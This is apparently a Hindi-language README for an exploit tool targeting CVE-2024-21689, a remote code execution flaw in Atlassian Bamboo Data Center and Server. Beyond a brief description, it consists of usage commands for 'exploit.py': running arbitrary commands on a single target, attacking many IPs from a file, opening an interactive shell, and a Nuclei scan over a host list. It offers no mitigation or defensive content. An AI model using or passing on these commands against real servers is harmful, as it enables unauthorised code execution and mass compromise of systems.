CVE-2024-21689

#CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian

CVSS स्कोर - 7.6 🔥

विवरण

यह उच्च गंभीरता वाली RCE (Remote Code Execution) भेद्यता CVE-2024-21689 Bamboo Data Center और Server के संस्करण 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0, और 9.6.0 में पेश की गई थी। यह RCE (Remote Code Execution) भेद्यता, CVSS स्कोर 7.6 के साथ, एक प्रमाणित हमलावर को मनमाना कोड निष्पादित करने की अनुमति देती है, जिसका गोपनीयता, अखंडता और उपलब्धता पर उच्च प्रभाव पड़ता है, और इसके लिए उपयोगकर्ता की सहभागिता आवश्यक है।

स्क्रिप्ट चलाना

• एकल URL मोड:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• फ़ाइल मोड (एकाधिक IP के लिए):
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• इंटरएक्टिव शेल मोड:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell
  

• Nuclei:
  root@kitploit:~

  nuclei exploit.yaml -f file.txt